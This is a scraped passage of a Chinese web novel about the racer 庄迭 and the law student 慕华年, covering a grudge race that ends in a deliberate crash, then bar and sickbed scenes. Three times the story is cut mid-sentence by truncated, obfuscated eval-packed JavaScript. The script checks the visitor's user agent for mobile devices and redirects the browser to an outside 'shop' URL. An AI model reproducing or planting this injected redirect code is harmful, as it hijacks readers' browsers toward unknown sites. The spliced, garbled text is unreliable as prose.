张宪在电话那头和朋友说了两句西语,走到安静处:“猜到你小子最近缺钱,这算不算雪中送炭?” “真是猜到的?” “嗯,你爸猜到的。” “靠,膈应谁呢?”比起没要到钱,那个没接通的电话更让庄迭难受。 “那是你爸。”张宪没计较他的态度,反而笑了,“你还别说,历史上最像皇帝的,往往都是流落在外的儿子。” 张宪从不避讳谈庄迭的身世。他不觉得庄迭的出生有什么问题,谁不是一个爸一个妈?唯一的区别可能是庄迭投胎时看走了眼。 “不过钱你放心用,我给的。” “可你哪来这么多钱?老庄不是每月给咱俩十万吗?你还要分一半给我存着。一千万,”庄迭估算了一下,“你不会把咱俩的棺材本都拿出来了吧?” 没等回答,电话那头张宪的钓友喊他拉杆。张宪把手机往兜里一塞就跑过去了,手机在口袋里嗡嗡响,庄迭皱着眉把手机拿远。 “叔,违法乱纪的事可不能干啊。” “没干,你放心用,钱干净着呢。我又不光是你的保姆。”张宪把鱼摘下来扔进桶里,用腰侧的布擦了把手,“你叔这么多年也攒了点钱,够你花的。” “叔,”庄迭沉默了一会儿,“我要是开口,我爸会给钱吗?” “会。”张宪毫不犹豫。 “我不想说你妈不好,毕竟没见过几次。她给了你命,我感激她。但我就遇到过两次她来要钱,我脾气算好的吧?扪心自问也经不住这么折腾。” 张宪叹口气:“庄迭,你知道为什么六岁后你妈就没再来过吗?” 六岁,那是很久以前的事了。那段人生庄迭已经逼自己忘记。 但真的忘了吗?大多忘了,剩下的零星记忆都和萧玲有关。 张宪听不到回答,但能想象他现在的表情。他又叫了声“庄迭”,庄迭说在听。 “你爸不想让你妈再影响你。他和萧玲谈了个最终价码,一次性切断了你和她的联系。” 所以他是被卖掉了。 庄迭想到这突然笑了。这个理由他猜过,但觉得萧玲没那么好说话。看来庄均存确实在他身上花了大价钱——萧玲很贪心。 “你爸吧,”张宪又叹气,“我也说不了他什么。真想不通在部队待了这么多年的人,怎么连作风问题都管不住。庄均存算是给我们炮兵丢人了。” “哈哈,你倒是当着他面说啊。” 张宪感觉他情绪好了些,语调也轻快起来:“总之钱你拿着花,你不好意思开口我可以帮你说。我走的时候就跟他说好了,儿子我养,但爹还是他庄均存。该花的钱,该给的钱不能少。小迭,叔在呢。” 但这笔钱庄迭还是没动。他用张宪的名字开了张卡,把钱都存进去给他养老。 庄均存的钱他拿了怕人笑话,张宪的钱他拿了怕看不起自己。 不过这份骨气在庄迭想买管牙膏时用光了。 “先生,要不您换张卡?” “嗯?没钱了?” 庄迭难以置信地看着卡号。他记得应该还有一万块,这个月还剩三天,够他撑到张宪回来了。 收银员指了指屏幕上的“0.00”。庄迭瞬间想起了昨晚的一切。 “……刷这张吧。” 张宪那张卡的余额变得有零有整。 * 要说对庄迭有什么印象,慕华年还真说不上来。 他刚来荷兰就听说过这个名字,但两人不是一个圈子。对庄迭唯一的印象,就是那些“又疯又吵”的传闻。 慕华年选择荷兰是因为学费低,而且大学时最喜欢的课就是国际法。大四放弃保研决定留学时,他去找国际法老师写推荐信,对方还记得他。 “记得去海牙看看,学国际法的总得去一趟。”教授递推荐信时笑着说。 于是慕华年来了荷兰。只是两个月过去,他还没去过海牙,甚至没出过远门。 至于为什么去酒吧打工,他也不知道。 有天路过酒吧,里面在放他喜欢的音乐,他就进去坐了一会儿。老板佐伊见他是东方面孔,用蹩脚的中文说了句“晚上好”。 那晚两人聊得还算投机,临走时佐伊问他愿不愿意来帮忙。 “你看起来需要一份工作。” “我不缺钱。” “不,孩子,”佐伊拍了拍他的肩,“你需要一个窗口。” 慕华年笑了,然后答应了。 比赛那天,他最终也还是接受了同学李家杰的邀请——他觉得教授说得对,或许需要些社交。 “慕,你有支持的队伍吗?” 赛车场外,李家杰将门票递过来,慕华年道了声谢,摇头说“没有”。 进场后他查了票价,把钱转给李家杰。票价不算贵,但如果是他自己,应该不会买第一排。 场地上停着四支队伍的赛车,表面都是色彩缤纷的涂层。慕华年记得这好像是本季最后一场,他已经听身边同学讨论小一个月了。 他确实不太懂车,在国内时会和父亲聊聊哪个牌子性能好、哪个好看。真要论专业知识,他一窍不通。 比赛开始,李家杰拿出自制手幅,开始和女朋友视频聊赛况。慕华年这才知道,李家杰多出来一张票是因为女朋友临时有事回国了。 不过他不在意。慕华年眼睛盯着领先的那辆紫色赛车,车上画着一只张扬的蝴蝶,风驰电掣间,蝴蝶在轰鸣声中展翅。 很有创意。慕华年在心里表示欣赏,脸上依旧没什么表情。他拿出手机拍了张照发给母亲周韵——她让他定期发消息,他都会照做。 “在看比赛吗?和朋友?”周韵回复很快。 “嗯,和香港的朋友。” “好好玩!多拍些照片,你爸也喜欢车。” “好。” 慕华年又机械地拍了几张。李家杰看了他一眼:“要帮你拍照吗?” “不用,我不太喜欢拍照。” 虽然只相处一个多月,李家杰已经习惯慕华年的性格,不再理会,继续和女朋友聊天。 这场比赛来看的人很多,慕华年身后的女孩大声喊着赛车手的名字。他拍完照就静静坐着,专注看着那辆紫色赛车——这场比赛几乎没悬念了。 突然,紫车后面的黑车猛地加速,在弯道擦着前车车身超车,两车相撞处迸出零星火花。 慕华年皱了皱眉。他就是再不懂赛车,也知道这不合规矩。 最终黑车赢了第一轮。 “我去!”李家杰吼了一嗓子,开始用粤语骂人。慕华年听了个七七八八,又听到电话那头的女生也在抱怨:“那可是CUR的冠军!那辆车拿过大奖的,我要心疼死了!” 慕华年又看了眼紫车,正巧赛车手下来——是个年纪不大的女孩,头盔摘下来时长发披散。 他不经意挑眉,对这个队伍更好奇了。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17111613|195872||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 之后车队的教练过来安慰女孩,慕华年看到庄迭跟着进了场地,脸色黑沉。 “CUR的冠军是哪个学校?”慕华年问。 “TUD。怎么了?”李家杰转头看他。 慕华年摇了摇头。人不可貌相。 “你看到Ash了吗?!”李家杰的手机传来一阵惊呼。 他点头,把摄像头调成后置。手机里的女孩和慕华年身后的观众同时尖叫。 “帮她追星?”慕华年笑着问。 李家杰脸上微红:“嗯,荷宜喜欢Ash挺久的了。当时香港办比赛她就去看,后来留学非要来荷兰,就为了离Ash近点。哦对,荷宜就是她,郑荷宜,我女朋友。” 手机里的人跟慕华年打了招呼,还说了声久闻大名。慕华年礼貌点头,就听郑荷宜让李家杰继续对准比赛场。 “看出来她是真喜欢。”慕华年轻笑。 李家杰努嘴:“确实帅啊,我一个男人也觉得帅。” “帅?”慕华年挑眉,“你女朋友喜欢的是哪个?” 李家杰指了指庄迭方向:“那个,光站着就扎眼的那个。” 所以他的英文名叫Ash?慕华年转头又看了眼庄迭——是挺帅的。 和那晚在酒吧不同,清醒时的庄迭多了几分生人勿近的气场。今天明显精心打扮过,虽然没穿赛车服,但一身正装,西裤紧贴腿部肌肉,收腰处干净利落。 人模狗样。慕华年轻笑一声。 “你笑什么?”李家杰转头看他。 “没什么,就是感觉黑车确实挺黑的。”慕华年顿了顿,“他们还会再比,对吧?” “对,积分赛,还有一场。刚刚那场N7输了,不知道会不会派Ash上场。” 庄迭上场时带着怒气,差点一拳抡到黑车赛车手脸上。之前几场他们领先,他就觉得对方不会轻易认输,结果今天直接来个杀敌一千自损八百。 “恶不恶心?”庄迭走过去时骂了一句,“都是中国人,别逼我骂国粹。” 对面的赛车手摘下头盔,脸上带着狡猾的笑:“Ash,心疼就别让小姑娘和我比啊。” “怎么着,跑完这场不活了?” “那不能,等着回去领奖呢。” “那你上赶着和我比,和我玩命?”庄迭声音更冷了几分。 他知道黑车隶属于H4车队,而车队的最大投资商是庄逸。 半年前,庄逸用他十八岁时庄遥送的公司股权,变现拿下了车队控股权。 其中缘由庄迭不用想都知道——毕竟庄逸和他比了一辈子。当然,他心里也有不甘,只是张宪教育他“人在做天在看”。 这半年,庄逸从各种顶级车队挖人,花重金改进车辆,等的就是今天。 而黑车上的人是庄迭以前的队友,肖扬。在庄迭进入N7车队前,肖扬一直是车队王牌。庄迭十八岁进入车队,N7换了天地。 肖扬服不服他不在乎,但不能动他的人。 “站着挣钱不好吗?跪着的滋味好受?”庄迭甩了一句就继续往前走。 肖扬哈哈大笑:“你我彼此彼此。” 庄迭闻声停步,手慢慢握成拳头。他转头盯着肖扬,但下一秒看到了观众席上的慕华年。 那人和整个环境格格不入,坐在赛车场边还是像个老学究。 庄迭抿了抿嘴,握紧的拳头又松开了。他转身走到苏郡清身边,轻轻拉了拉女孩的胳膊。 “疼吗?” 苏郡清本来不服气,还想着去跟肖扬放狠话,结果庄迭柔声细语地问了一句,她突然有些鼻酸。 “不疼,就是不服。” “那下一场还是你来。开我的车。” 苏郡清猛地抬头,眼睛还水汪汪的:“开你的?” “你的宝贝需要检修,我帮你恢复原状,放心。但下一场你要是还想和他打,只能开我的。” 苏郡清用手拧了拧鼻子,回头瞪了肖扬一眼:“这孙子就不能有人治治吗?评委会也都是瞎子,怎么不判他犯规啊!” 评委会——庄迭来的时候看到了。常任主席不在,换上来的是个没见过的,谁知道里面有什么猫腻。 十八了,手段还是这么幼稚。庄迭冷哼了一声,这么多年庄逸一点长进都没有。 “但你的车还是你开最好。”苏郡清叹了口气,“我不认输,但是我还有理智。来日方长,下次我顶死这孙子。” “行,以后只要是这孙子上场,我都安排你,你们大战三百回合!”庄迭笑着拍了拍苏郡清的头。 小姑娘今年十九,充满韧劲,接触赛车时间不长但天赋极高。庄迭甚至开玩笑说自己可能未来留不住她,但小姑娘信誓旦旦说只要玩车就跟着他。 眼前人莫名的傻气,让庄迭想到了自己刚玩赛车的时候。都说玩赛车的人不要命,实际上赛车让他沉着了很多。他希望自己能领着这群小朋友都变成厉害的大人。 不过今天,他是十八岁的庄迭。 “那怎么说?我去车库给你取车?”教练赵麟用胳膊碰了碰他。 庄迭扭头看了眼肖扬,从口袋掏出钥匙。 “我自己来。” 他转身往车库走,经过观众席时,脚步微微一顿,朝慕华年的方向看了一眼。 慕华年正低头看手机,似乎对场上的风波毫无兴趣。 庄迭扯了扯嘴角,快步离开了赛场。 18. 第 18 章 李家杰和慕华年在休息区随便吃了顿简餐,吃饭的时候李家杰还在吐槽早上的比赛。他们旁边就坐着H4的队员,但他毫不在乎,中英粤混杂着骂,慕华年坐在他对面时不时点头。 “搞这种手段真的有点恶心了。亏得以前肖扬在N7的时候我还支持过他,回去就让我爸撤资。” 慕华年手里的筷子顿了顿,李家杰解释道:“肖扬的队伍是H4,但他的俱乐部不是。当初为了哄荷宜开心,我让我爸往赛车行业投了点钱。” 慕华年点了点头,继续吃盘子里食之无味的草料。 “吃这么素?” 慕华年抬头,看见庄迭笑盈盈地在他旁边坐下,身边跟着刚才比赛的小姑娘和车队教练。 “介绍一下,苏郡清,赵麟。” “你们认识?”李家杰小声问慕华年。 庄迭却先开了口:“认识,这哥们还照顾了我一晚上呢。” “我去?”李家杰瞪大眼睛,手里的饭突然不香了。他问过慕华年有没有女朋友,但忘了问有没有男朋友。 “你有这人脉我们还买什么票啊?”李家杰看了看慕华年,又转向庄迭伸出手,“你好,我叫李家杰,英文名William。” “不是你想的那样……” “你好啊,William,我应该不用自我介绍了。下次你要看比赛可以告诉慕华年,我能帮你们搞到票,省下的钱请我吃饭就行。” 庄迭开口打断了慕华年的解释,亲切地和李家杰握手。之后李家杰开始疯狂吹捧庄迭,庄迭照单全收,每句都回“谢谢”。 “我女朋友是你粉丝,能签个名吗?” 饭后李家杰小心翼翼地问。庄迭转头看苏郡清,“带拍立得了吗?” 苏郡清点了点头,翻出相机给两人合照,然后庄迭用马克笔签下“Ash”,递给李家杰,问:“满意吗?” “满意啊!满分饭撒!” 李家杰立刻给郑荷宜发照片,慕华年第三次听到女孩的尖叫声。 “需要我问候一句吗?可以发语音哦。” 李家杰立刻将手机递过来。 只是他们俩中间隔着个人,庄迭侧身时几乎和慕华年贴在一起。他笑了笑,索性朝前靠近手机,整个脑袋就埋在那个温暖的胸口。 慕华年皱了皱眉想要往后挪,又怕自己的动作影响了手机的收音,只好尽力绷紧身体。 “你好啊,我是Ash,很感谢你喜欢N7哦!” 语音发过去,郑荷宜立刻打来电话。庄迭笑着和她寒暄了两句。李家杰觉得不好再打扰,拿着手机到旁边继续和女友聊天。 “这么专业?”慕华年突然开口。 庄迭半边身子还靠着他肩膀。慕华年不自在往右挪了挪。庄迭把他的小动作看得一清二楚,不解释也不点破,只是笑意更深,抬头对苏郡清示意,“顺手给我们俩拍一张。” “不拍。” 话音刚落,拍立得的相纸已经吐出来了。苏郡清笑着对慕华年说:“我手快。” “确实快,刚才开得很好。”慕华年朝她微微一笑。 庄迭手里拿着照片,扭头看了慕华年一眼,“你怎么对我和对姑娘完全两个态度?” 慕华年又不说话了。庄迭现在摸清了一点,只要眼前的人不说话,就代表他不耐烦了。 “你这个人真的很奇怪。” “哪儿奇怪?” 嘿,这句倒回得挺快。庄迭感觉自己和玩游戏触发NPC一样,不知道说哪句话才能触发后续剧情。 “哪儿都奇怪,矛盾得很。” 慕华年不说话,拿起桌上的杯子喝了口水。庄迭还想继续逗他,结果隔壁桌的肖扬起身走过来,说:“人不想理你。” “这么聪明?那你看得出来我不想理你吗?”庄迭脸上笑容不变,语气却完全不一样。慕华年看了他一眼,听他继续说:“回去收拾收拾,输了别说我虐待老人。” 肖扬今年二十六,最多再有两年就该退役了,他很忌讳别人提年龄,可庄迭不在乎。 “庄迭,狗咬狗一嘴毛,你图什么呢?” “别,我可没有看家护院的本事。”庄迭没有在理会肖扬的挑衅,顿了顿继续说,“记得等下戴一个护膝。” 肖扬白了他一眼,带着队员走了。 “没兴趣了,下次聊吧。”庄迭冷下脸,起身时看到慕华年桌上的冰水,“能喝吗?” 慕华年没说话。庄迭拿起杯子一饮而尽,连最后两块冰都嚼了,“谢了。”然后转头就走了。 要说奇怪,慕华年觉得庄迭不输自己。他盯着桌上的杯子半天没动。 李家杰回来的时候餐厅基本没人了,他问了一句“Ash呢”,慕华年说“该比赛了”,两个人朝赛车场走。 下半场比赛比上午激烈得多,积分榜前三名咬得很紧,尤其是第一和第二。慕华年吃饭的时候搜了一下赛车规程,很清楚上午的黑车绝对犯规了,但他们的积分没受影响,他大概明白了庄迭的处境。 “你说他们还故技重施吗?” 慕华年没有回答李家杰的问题,他看到一辆紫色的车慢慢开到二道,降下车窗看向他的方向。 N7车队的外观应该是统一设计的,但庄迭的车总还是不一样。他的蝴蝶标志带着个人特色,有种说不清的蛊惑。蝴蝶边缘用黑漆勾勒,更生动,也更危险。 “N7的车都是Ash自己设计的,他的车更是他的宝贝。”李家杰解释道。 慕华年点了点头,问:“他输过吗?” 这话问得李家杰愣了一下,笑道:“你倒是眼光好,没输过。” 应该是。慕华年抬眼对上庄迭的目光,刚才那个嬉皮笑脸的人好像又回来了。他朝慕华年比了个手势,李家杰主动翻译:“一骑绝尘。” 手势不难学,慕华年垂下去的手不自觉地模仿了这个动作,但没让庄迭看见。 比赛正式开始,引擎的咆哮声震耳欲聋。 慕华年的视线紧紧追随那只紫色的蝴蝶。很快,后方一辆黑色赛车如幽灵般贴近,两车尾翼几乎相触,空气中弥漫着轮胎焦糊的味道。 第一个弯道,庄迭精准控制入弯角度,轮胎在极限状态下发出尖锐的爆鸣。黑车被牢牢挡在最佳行车线之外。 第二个弯道,庄迭稍稍收油,车速微降,但始终占据内线。黑车在外侧不断寻找机会,两车气流相互拉扯。 第三个弯道,庄迭突然全油门加速,引擎爆发出震耳欲聋的轰鸣。赛车在弯心出现明显摆动,后轮空转卷起青烟。黑车紧咬不放,尾翼在乱流中剧烈震动。 最后一个弯道,黑车借助尾流突然加速,两车并排入弯,侧箱轻微碰撞迸发出零星火花。 可是就在出弯瞬间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17111614|195872||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,庄迭以一个极其冒险的三线变道封死所有空间。黑车紧急避让导致轮胎锁死,在刺耳的摩擦声中失控撞向右侧护墙,碎片四溅。 所有人都猜错了,不是肖扬故技重施,而是庄迭以牙还牙。 “他这不是自杀吗?”李家杰声音发颤。 慕华年眉间褶皱越来越深。 最后一百米,紫车冲过终点! 积分瞬间更新,N7成为本届冠军。H4因为最后一场未完赛,积分为零,从第二掉到了第四。 在一阵欢呼声中,庄迭跨出车门,他没有理会围上来的记者,径直走向黑车。 肖扬也是在撞墙的那一瞬才明白庄迭最后那句话的意思。他很清楚他的膝盖碎了,他的运动员生涯提前终结。 狠。 肖扬被抬下来时,整个人因为膝盖的疼痛面色发白,而庄迭推开人群站到了他面前。 “你还是杂念多了一点。现在学会了吗?” “你他妈不要命吗?你就不怕我不减速?”肖扬骂道,膝盖的疼痛让他声音发颤。 庄迭走过去蹲下身,头发因为出汗而贴在额头上,他向上拨了一把,凑到肖扬耳边,笑着说:“你也知道我什么都没有啊。你和我玩命?兄弟,我烂命一条欸。” 说完他头也不回地离开场地。苏郡清过去给他递水的手还在发抖,庄迭笑着接过,什么也没说。 这一切都落在慕华年眼里。 他感觉胸口堵着一口气,脑海中重演了一遍又一遍那个瞬间,最终得出一个结论:庄迭想的就是同归于尽。 “你先别哭,人好着呢,好好好,我帮你问,你先别哭。” 李家杰的手机一直在直播,郑荷宜看到那个画面后就没了声音,直到比赛结束,放声大哭。 李家杰也半天没反应过来,他转头看了一眼慕华年,问:“你和Ash是朋友吧?” 慕华年什么也说不出来,他觉得自己不该多管闲事,可那口气卡得他难受。 “有他电话吗?问问?”李家杰又说。 慕华年摇了摇头,推脱了一句就朝外走。出门时,他看到了被抬上救护车的肖扬。 刚才场边围着人他没看清,现在才明白那个撞击有多狠。 肖扬看到了慕华年,也听到了他们中午的对话,此刻他眼神复杂,车门关上前,慕华年听到他说:“离他远点,他是个疯子。” 慕华年站在原地,看着救护车慢慢远离。 等到场馆的灯熄灭,最后一波观众离开大厅,慕华年还能听到人们在讨论刚才的比赛,他们大都是震惊于庄迭的疯狂,又不得不佩服他的果断。 慕华年不知道自己在等什么,他没想好要和庄迭说什么。他只是一个人坐在大厅外的长椅上,十月的风吹着,他裹紧了大衣。 那天慕华年没有等到庄迭,因为庄迭下场就被张宪带回了家。 在慕华年盯着那只蝴蝶的时候,张宪也在场边一直看着庄迭。 那笔钱打进庄迭账户时,张宪就买了回家的机票。他没告诉庄迭自己要回来,悄悄坐在VIP席看完了整场比赛。就连庄迭变道时,张宪都面无表情。 可等着庄迭从出口离开,却被一把拉进怀里。张宪什么也不说。 “张叔……” “我回来了。不怕了。” “对不起。” “傻子。” 19. 第 19 章 那天之后,慕华年有很长时间没见过庄迭。 不过他们之间本来也只有酒吧这一个联系,庄迭不来,慕华年自然就和他见不到。 慕华年照常在酒吧打工,白天在休息室睡两三个小时就去上课,循规蹈矩的日子让他又产生了很久没有过的恍惚感。 今晚客人不多,慕华年收拾好吧台,将酒瓶做好密封,然后看着自己调的那杯低度酒。他不喜欢喝酒,也不抽烟,除了看书几乎没什么爱好和发泄方式。 但今晚,他一来就给自己调了杯酒,就那天庄迭喝的第一杯。 “叮——” 门铃又响了。慕华年还在盯着酒杯发呆,“不好意思,打烊了。” “一杯都没了?” 慕华年抬头,又看见那张嬉皮笑脸的脸。 他好像瘦了一些。慕华年皱了皱眉,把原本给自己准备的那杯酒推过去。 “就这一杯。” “行。” 庄迭没有讨价还价,他安安静静坐在吧台边,时不时抬头看慕华年一眼。慕华年不理他,继续收拾卫生。 “多少钱?”庄迭抿了一口酒问。 “送你的。” 庄迭笑了,说:“怎么?第二顿酒就打算行动了,这么沉不住气?” 慕华年不说话,伸手去拿酒杯。庄迭眼疾手快抓住他的手,慕华年皱眉的同时将自己的手快速抽出。 “开个玩笑嘛,怎么还认真了?” 庄迭语气轻松,却端起酒杯一口饮尽。他眉间未散的忧愁衬着他含笑的眼睛,慕华年收杯子的时候停顿了一下,问:“那天为什么?” “什么为什么?” 庄迭装作听不懂,笑得眉眼弯弯。慕华年也不打算再问第二遍,他把杯子冲干净倒扣在盘子里,用洗手液仔细洗手。庄迭就静静看着他。 “打烊了,今天不留你。” “行。” 慕华年早知道庄迭没这么好打发。他起身锁门,庄迭跟着出来,却站在他身边不动。 他锁好门往家走,庄迭就不远不近地跟着。走了十来分钟,慕华年停下脚步,问:“让家里人赶出来了?” “你怎么知道?”庄迭笑着接话,快走两步和他并肩,“酒吧不收留,你能收留我吗?” 慕华年不说话,继续往前。庄迭也不吭声了,和他保持同步向前走。 很奇怪的感觉,慕华年说不上来。他很少和父母以外的人这么近距离接触,他以为他会排斥的。可庄迭的呼吸声很轻,像猫一样,好像生怕打扰他。 慕华年发现自己不忍心对他说重话。 “我到了。” 庄迭抬头看了一眼眼前老旧的公寓楼,这是这一片最便宜的公寓,他没上去过,但是听同学说过,这儿卫生系统老旧,通风系统一般,好在离学校近。 “你是莱顿的吗? 慕华年点头。 “法学生?” “嗯。” “厉害。” 很没营养的对话。慕华年觉得自己该转身上楼,但庄迭似乎没有要走的意思。 “所以那天是为什么?” 慕华年耐着性子又问了一遍。这次庄迭没打哈哈,他盯着地砖,用脚不停画着扇形。 “就是不想输。” 说这话时,庄迭的语气和以往都不同。慕华年盯着他,眼前的人穿着棉服,裹着一条粗线围巾,头发洗得很蓬松,双手插兜低着头,像个做错事的孩子。 慕华年没再问。庄迭抬头看他,“不继续问了?” 慕华年摇头。庄迭笑了笑,也没打算再解释。他打开手机给慕华年照亮上楼的路,说:“回去吧,有点冷了。” “你呢?” 慕华年几乎是脱口而出,庄迭笑着答:“我也回家呀。刚才就是出来消食,张叔在家等我呢。” 有人等着,那应该没事。慕华年“嗯”了一声转身上楼,回到家后看着庄迭有些单薄的背影越走越远。 那天晚上慕华年一夜没睡,他也没想通自己为什么睡不着。 那之后的几天,庄迭每天都在打烊时来酒吧,慕华年调什么他喝什么,不过慕华年会按照酒单收他的钱了。 关好店门,庄迭照例跟在慕华年身后。十一月的荷兰正式进入冬季,两个人走着走着天上开始落雪,慕华年步子快了些,身后的人亦步亦趋。 “你有伞吗?”站在慕华年家楼下,庄迭笑着问他。 好像除了那天被肖扬挑衅过后庄迭有一瞬间的冷脸,其余的时候他总是笑着的。他的笑像是时刻挂着的招牌动作,很好看,但慕华年从没在那笑容里看到过真心。 “庄迭,”慕华年没回答,反而正经叫了他的全名,“你是对我感兴趣吗?” 半个月,一天不落准时到酒吧,距离保持得刚刚好。好像只要慕华年开口,庄迭就会转身离开,但他又很笃定慕华年不会开口。 “对。” 庄迭坦率地承认了,但是配上他的笑,慕华年只从其中看到了玩一玩的心思。 不过真心与否,好像也不重要。慕华年并不打算谈恋爱,现在不,以后也不。 “别在我身上浪费时间,我喜欢女生。以及就算我喜欢男生,我也不会随便恋爱,我不喜欢。” “是不喜欢随便恋爱,还是不喜欢我?” “都不喜欢。” “好的。” 庄迭朝后退了一步,雪落下的时候他的肩膀和头发都沉了沉。他没有纠缠,没有辩解,就这么站在雪里。 “那我以后还能去酒吧喝酒吗?” “这是你的自由。” “好的,晚安。” 庄迭转身走进雪中,亦如那日慕华年看到的背影。他总觉得那天之后的庄迭和他第一次见到的不是一个人了。 庄迭善变,变化细微,却铭心刻骨。 第二天庄迭还是来了,这次他带了本书,不再坐吧台。慕华年来送酒的时候,他客气地说了声“谢谢”。 “灯有点暗。” “没事,我坐一会儿就走。” 庄迭还是那样笑着,他抿了一口酒,放下杯子继续看书。 慕华年有些看不懂庄迭了。 这样的人,怎么看都不该喜欢上他这么无趣的人。而且以庄迭的骄傲,怎么会允许在被拒绝后继续出现在自己的视线里? 庄迭真的只坐了半小时,在慕华年下班前离开了。 突然没了跟在身后的尾巴,慕华年倒也没有不习惯的感觉。过去二十二年他习惯了一个人,只是庄迭忽远忽近的距离让他又想到了那天的赛车场。 他总觉得庄迭在找一个机会,撞上他这辆漫无目的的车。 可奇怪的是,他并不想躲。他只想到了那天他想到词:同归于尽。 在连续去了酒吧半个月后,庄迭没见到慕华年。 那天佐伊来顶班,只说慕华年请了假。佐伊不是个多事的人,他嘱咐慕华年照顾好自己,没问理由,也没问要请几天。 庄迭和佐伊聊了一晚上,从他那里知道了一些关于慕华年的事情。这其中大多都是佐伊的个人观察,他年轻的时候当过兵,自认为有一双看透一切人的眼睛。 他告诉庄迭,“慕是一个很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17111615|195872||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 孤独的人。” 孤独。那晚庄迭一直在想这个词,罕见地失眠了。 之后五天,庄迭依旧会去酒吧,那里依旧没有慕华年。在第五天离开时,他找到了那天慕华年送披萨时打电话的手机号。他存了电话,但从来没打过。 外界都传庄迭荤素不忌,只有路远舟那几个朋友知道,他的边界感强得要死。 “你还好吗?如果是因为我的打扰你才请假,我道歉。你大可放心,我不会死缠烂打。” 短信发过去,对面没有回复。庄迭握着手机犹豫了一会,又发了一条:“我和佐伊认识十几年了,我习惯在他这里休息。当然,我不否认我想看看你。” 还是没有回复。 庄迭按灭手机,一口将酒喝完,走过去笑着让佐伊把杯子洗干净。 他的嘴被慕华年养刁了。 出了门,庄迭习惯性右转。过去几天他都会提前离开酒吧,但不会走远。这是他难得的休息日,他只想从心做一些事情。 他和路远舟的项目因为他最后那场比赛的壮举,意外获得了美国投资人Terry的青睐。一千万到账后所有研究继续运转,路家的新楼盘也获得了不错的反响,一切都熬过来了。 接下来他要做的就是等待,寻找合适时机,在此之前蛰伏。 庄迭自认为自己是个很有耐心的人,无论是对待研究还是对待慕华年。 他走到慕华年家楼下,抬头才发现自己连他住哪户都不知道。庄迭笑了笑,转身往家走。 那两条短信始终没有等到回复,庄迭依旧每天去酒吧。 如果放在从前,十天的断联,庄迭对结果心知肚明。可这次他有一种不太好的预感。 “佐伊,你有慕华年家的钥匙吗?” 佐伊表示自己爱莫能助,但庄迭在员工手册上看到了慕华年的登记信息。 “我这算违法了,擅自泄露员工信息,”佐伊打趣着说,却在庄迭离开时拉住他,“有什么需要,立刻给我打电话。” 庄迭按照地址上了楼,这栋楼比他想象的还要老,上去的时候楼道灯有点暗,他不自觉皱眉。 “慕华年。” 庄迭敲门,门里没有任何响动。 “慕华年,你应一声就行,我确认你安全就走。” 还是没有动静。 庄迭下楼去看了看,发现刚才那间屋子亮着灯。按照慕华年的性格,他不会忘记关灯。 庄迭又转身上去,这次手还没敲下去,门开了。 十天。庄迭现在知道一个人十天能瘦多少了。眼前的慕华年小了一圈,脸微微发红,感觉只是眨眼睛就耗费了他很多力气。 “生病了?” 庄迭把手探上去,慕华年侧身躲开,皱着眉咳嗽了一声,“流感,会传染。” “那你就一个人等死吗?不会去医院?” 庄迭说完后觉得自己话说的是有点重了,可看着眼前人的样子,他实在压不住火。 “我给你发消息了,你没收到?” 慕华年愣了一下,摇头,“好像欠费了。” 庄迭不知道还能说什么,叹了口气就往屋子里闯。慕华年不知道哪里来的力气,死死守住门。 “快好了,三五天。” “三五天之后我和佐伊来给你收尸吗?” 慕华年还是不动,庄迭就站在他面前盯着他。 “慕华年,你在跟谁较劲呢?” “你呢?”慕华年抬头,眼睛被一层雾蒙蒙的光笼罩着,他嗓子哑着,说话的声音有些发颤,“你没去酒吧的那些天,你在和谁较劲?” 20. 第 20 章 两个人进了屋,庄迭眉头皱得更紧了,说:“你没买电暖器吗?房子和冰窖一样,不生病才怪呢。” “等我好了就去买。”慕华年侧身从他身边走过,重新窝到沙发上。 “你看着不像不会照顾人的人。” 庄迭毫不掩饰地打量着房间里的一切,干净的客厅,茶几上只有一瓶维生素,客厅的角落放着一个沙发,旁边堆满了书,然后是一张床——床上的被子此时正裹在慕华年身上。 “我家有地暖,我冬天没挨过冻。” 慕华年说话时有气无力的,庄迭不忍心再说什么重话,他跨过地下堆着的书包,走过去拉开冰箱,问:“吃了吗?” “你会做饭?”慕华年问这句话的时候有一点笑模样了,看起来很柔和。 庄迭盯着他看了会儿,被他的反应逗笑了,转身从冰箱里翻出几样菜,凑了凑还真能做出来一碗酸汤面。 “不会,但能吃。” 庄迭自顾自拆包装,洗了几片菜叶子,拿了一把挂面,居然还在冰箱里找到了榨菜,他拿出来给慕华年展示,问:“你从国内背回来的?” “我妈非要给我装,说怕我吃不惯,让我自己做饭的时候放一点。” “所以你会做饭?” 庄迭又笑了,这次的笑比以往都好看。慕华年避开他的视线,点头道:“会。能吃。” 